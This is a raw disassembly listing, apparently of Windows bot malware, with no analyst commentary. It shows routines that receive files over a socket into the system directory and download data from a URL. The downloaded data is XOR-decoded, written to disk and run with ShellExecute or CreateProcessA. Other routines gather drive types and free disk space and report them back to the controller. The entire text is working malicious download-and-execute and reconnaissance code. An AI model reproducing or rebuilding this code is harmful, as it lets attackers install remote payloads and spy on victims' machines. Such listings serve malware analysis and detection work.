		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_43EB3C	; recv
		cmp	eax, ebx
		jl	loc_40C691
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40C691
		sub	[ebp+arg_0], eax
		jnz	loc_40C55F
		mov	edi, [ebp+var_18]

loc_40C5FC:				; CODE XREF: sub_40C330+224j
		push	[ebp+var_8]
		call	dword_423078	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40CE23
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_43EBB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42D3A8
		push	eax
		call	sub_416FB6

loc_40C635:				; CODE XREF: sub_40C330+1DCj
		add	esp, 14h

loc_40C638:				; CODE XREF: sub_40C330+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40C65D
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D476
		add	esp, 14h

loc_40C65D:				; CODE XREF: sub_40C330+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40BD8D
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40C675
		push	edi
		call	dword_43EBBC	; closesocket

loc_40C675:				; CODE XREF: sub_40C330+33Cj
		push	[ebp+var_1F8]
		call	dword_43EBBC	; closesocket
		push	[ebp+var_58]
		call	sub_416D90
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread

loc_40C691:				; CODE XREF: sub_40C330+2AFj
					; sub_40C330+2BAj
		push	esi
		mov	esi, offset dword_42D380
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D476
		push	esi
		call	sub_40BD8D
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_43EBBC	; closesocket
		push	[ebp+var_58]
		call	sub_416D90
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread
sub_40C330	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C6D2	proc near		; DATA XREF: sub_40EC43+77Co

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_417830
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		xor	esi, esi
		xor	ebx, ebx
		inc	esi
		push	104h
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	[ebp+var_8], ebx
		call	dword_423068	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_416FB6
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	dword_423084	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C75C
		push	offset dword_42D620
		jmp	short loc_40C7A2
; ---------------------------------------------------------------------------

loc_40C75C:				; CODE XREF: sub_40C6D2+81j
		push	eax
		call	dword_423078	; CloseHandle
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_4176A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40C784
		push	offset unk_42D5D8
		jmp	short loc_40C7A2
; ---------------------------------------------------------------------------

loc_40C784:				; CODE XREF: sub_40C6D2+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40C0E9
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40C7B5
		push	offset unk_42D598

loc_40C7A2:				; CODE XREF: sub_40C6D2+88j
					; sub_40C6D2+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx
		jmp	loc_40C8AF
; ---------------------------------------------------------------------------

loc_40C7B5:				; CODE XREF: sub_40C6D2+C9j
		mov	esi, 1000h

loc_40C7BA:				; CODE XREF: sub_40C6D2+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43EB3C	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40C881
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40C822
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_4193EF
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_43EB20	; htonl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43EB74	; send
		jmp	short loc_40C7BA
; ---------------------------------------------------------------------------

loc_40C822:				; CODE XREF: sub_40C6D2+118j
		lea	eax, [ebp+var_4C4]
		push	offset unk_42D564
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D476
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_4]
		call	sub_417600
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_43EBBC	; closesocket
		push	[ebp+var_1C]
		call	sub_416D90
		pop	ecx
		push	1
		call	dword_423054	; ExitThread

loc_40C881:				; CODE XREF: sub_40C6D2+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40CE23
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset unk_42D508
		push	eax
		call	sub_416FB6
		add	esp, 1Ch

loc_40C8AF:				; CODE XREF: sub_40C6D2+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40C8D4
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D476
		add	esp, 14h

loc_40C8D4:				; CODE XREF: sub_40C6D2+1E0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BD8D
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40C8EF
		push	[ebp+var_4]
		call	sub_417600
		pop	ecx

loc_40C8EF:				; CODE XREF: sub_40C6D2+212j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40C8FD
		push	[ebp+arg_0]
		call	dword_43EBBC	; closesocket

loc_40C8FD:				; CODE XREF: sub_40C6D2+220j
		push	[ebp+var_1C]
		call	sub_416D90
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread
sub_40C6D2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C90D	proc near		; DATA XREF: sub_40EC43+37D5o
					; sub_40EC43+3F31o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_43EAD4
		call	dword_43EA34	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40CD86
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_423084	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40C9D4
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42D918
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40C9B7
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D476
		add	esp, 14h

loc_40C9B7:				; CODE XREF: sub_40C90D+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_48]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread

loc_40C9D4:				; CODE XREF: sub_40C90D+68j
		xor	edi, edi
		call	dword_423058	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_417889
		pop	ecx
		mov	[ebp+var_1C], eax

loc_40C9EE:				; CODE XREF: sub_40C90D+1A9j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_43EA3C	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_40CA32
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40CDEC
		pop	ecx
		pop	ecx

loc_40CA32:				; CODE XREF: sub_40C90D+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_42307C	; WriteFile
		cmp	edi, ebx
		jnb	short loc_40CA70
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40CA5A
		mov	eax, [ebp+arg_0]

loc_40CA5A:				; CODE XREF: sub_40C90D+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_417090
		add	esp, 0Ch

loc_40CA70:				; CODE XREF: sub_40C90D+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40CA7D
		cmp	edi, [ebp+var_3C]
		ja	short loc_40CABC

loc_40CA7D:				; CODE XREF: sub_40C90D+169j
		mov	eax, edi
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_444368
		cmp	[ebp+var_44], 1
		jz	short loc_40CAA5
		push	offset dword_42D8C8
		jmp	short loc_40CAAA
; ---------------------------------------------------------------------------

loc_40CAA5:				; CODE XREF: sub_40C90D+18Fj
		push	offset dword_42D880

loc_40CAAA:				; CODE XREF: sub_40C90D+196j
		push	eax
		call	sub_416FB6
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40C9EE

loc_40CABC:				; CODE XREF: sub_40C90D+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40CB11
		cmp	edi, [ebp+var_3C]
		jz	short loc_40CB11
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset dword_42D830
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D476
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BD8D
		add	esp, 28h

loc_40CB11:				; CODE XREF: sub_40C90D+1B9j
					; sub_40C90D+1BEj
		call	dword_423058	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_423078	; CloseHandle
		push	[ebp+var_1C]
		call	sub_41793B
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40CB9B
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40C079
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40CB9B
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42D7F0
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D476
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BD8D
		add	esp, 28h

loc_40CB9B:				; CODE XREF: sub_40C90D+236j
					; sub_40C90D+248j
		cmp	[ebp+var_14], esi
		jz	loc_40CDD3
		cmp	[ebp+var_44], 1
		push	ecx
		lea	eax, [ebp+var_148]
		push	ecx
		jz	loc_40CC96
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_423690
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_423690
		fstp	[esp+590h+var_590]
		push	offset dword_42D798
		push	eax
		call	sub_416FB6
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CC16
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D476
		add	esp, 14h

loc_40CC16:				; CODE XREF: sub_40C90D+2E7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BD8D
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40CDD3
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_43EA98
		cmp	[ebp+var_30], esi
		jnz	loc_40CDD3
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42D758
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D476
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BD8D
		add	esp, 24h
		jmp	loc_40CDD3
; ---------------------------------------------------------------------------

loc_40CC96:				; CODE XREF: sub_40C90D+2A3j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_423690
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_423690
		fstp	[esp+590h+var_590]
		push	offset unk_42D700
		push	eax
		call	sub_416FB6
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CCF6
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D476
		add	esp, 14h

loc_40CCF6:				; CODE XREF: sub_40C90D+3C7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BD8D
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417030
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417030
		add	esp, 1Ch
		lea	eax, [ebp+var_10]
		mov	[ebp+var_310], edi
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		inc	edi
		push	eax
		push	esi
		mov	[ebp+var_304], offset byte_43BCE8
		mov	[ebp+var_2E4], edi
		mov	[ebp+var_2E0], si
		call	dword_423120	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_40CD78
		call	dword_43EA84	; WSACleanup
		call	sub_40AA70
		push	esi
		call	dword_42314C	; ExitProcess

loc_40CD78:				; CODE XREF: sub_40C90D+457j
		lea	eax, [ebp+var_148]
		push	eax
		push	offset dword_42D6A8
		jmp	short loc_40CD92
; ---------------------------------------------------------------------------

loc_40CD86:				; CODE XREF: sub_40C90D+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset dword_42D660

loc_40CD92:				; CODE XREF: sub_40C90D+477j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CDC6
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D476
		add	esp, 14h

loc_40CDC6:				; CODE XREF: sub_40C90D+497j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BD8D
		pop	ecx

loc_40CDD3:				; CODE XREF: sub_40C90D+291j
					; sub_40C90D+31Aj ...
		push	[ebp+var_18]
		call	dword_43EB58	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_416D90
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread
sub_40C90D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CDEC	proc near		; CODE XREF: sub_40C90D+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40CE08

loc_40CDF8:				; CODE XREF: sub_40CDEC+1Aj
		mov	dl, byte_42E91C
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40CDF8

locret_40CE08:				; CODE XREF: sub_40CDEC+Aj
		retn
sub_40CDEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CE09	proc near		; CODE XREF: sub_40EC43+2A07p
					; sub_40EC43+2B74p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4194F9
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40CE09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE23	proc near		; CODE XREF: sub_4061E4+462p
					; sub_4061E4+5FEp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_442EE0
		push	0
		push	edi
		call	sub_417030
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_40CE48:				; CODE XREF: sub_40CE23+5Bj
					; sub_40CE23+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_418ED0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_418F50
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40CE86
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40CE48
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40CE48
; ---------------------------------------------------------------------------

loc_40CE86:				; CODE XREF: sub_40CE23+4Bj
		mov	eax, edi
		jmp	short loc_40CE8F
; ---------------------------------------------------------------------------

loc_40CE8A:				; CODE XREF: sub_40CE23+72j
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax

loc_40CE8F:				; CODE XREF: sub_40CE23+65j
		dec	esi
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jnb	short loc_40CE8A
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CE23	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CEA1	proc near		; CODE XREF: sub_40D04D+51p
					; sub_40D04D+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43EB84	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_40CEE4
		dec	eax
		jz	short loc_40CEDE
		dec	eax
		dec	eax
		jz	short loc_40CED8
		dec	eax
		jz	short loc_40CED2
		dec	eax
		jz	short loc_40CECC
		dec	eax
		jz	short loc_40CEC6
		mov	eax, offset word_42CFCC
		retn
; ---------------------------------------------------------------------------

loc_40CEC6:				; CODE XREF: sub_40CEA1+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------

loc_40CECC:				; CODE XREF: sub_40CEA1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_40CED2:				; CODE XREF: sub_40CEA1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_40CED8:				; CODE XREF: sub_40CEA1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_40CEDE:				; CODE XREF: sub_40CEA1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_40CEE4:				; CODE XREF: sub_40CEA1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40CEA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEEA	proc near		; CODE XREF: sub_40CF32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43EA20
		test	eax, eax
		jz	short loc_40CF1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA

loc_40CF1F:				; CODE XREF: sub_40CEEA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40CEEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF32	proc near		; CODE XREF: sub_40B6ED+1F3p
					; sub_40D04D+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40CEEA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D00A
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D00A
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D00A
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_419540
		push	edx
		push	eax
		call	sub_40CE23
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41752A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_419540
		push	edx
		push	eax
		call	sub_40CE23
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41752A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_419540
		push	edx
		push	eax
		call	sub_40CE23
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41752A
		add	esp, 18h
		pop	ebx
		jmp	short loc_40D039
; ---------------------------------------------------------------------------

loc_40D00A:				; CODE XREF: sub_40CF32+2Cj
					; sub_40CF32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_416FB6
		add	esp, 18h

loc_40D039:				; CODE XREF: sub_40CF32+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40CF32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D04D	proc near		; CODE XREF: sub_40D11F+17p
					; sub_40D11F+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40CF32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_4173D0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40D0C0
		push	ebx
		push	ebx
		call	sub_40CEA1
		pop	ecx
		push	eax
		push	offset dword_42D9E8
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41752A
		add	esp, 14h
		jmp	short loc_40D0F4
; ---------------------------------------------------------------------------

loc_40D0C0:				; CODE XREF: sub_40D04D+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40CEA1
		pop	ecx
		push	eax
		push	offset unk_42D998
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41752A
		add	esp, 20h

loc_40D0F4:				; CODE XREF: sub_40D04D+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40BD8D
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D04D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D11F	proc near		; CODE XREF: sub_40EC43+577Bp

arg_0		= dword	ptr  8
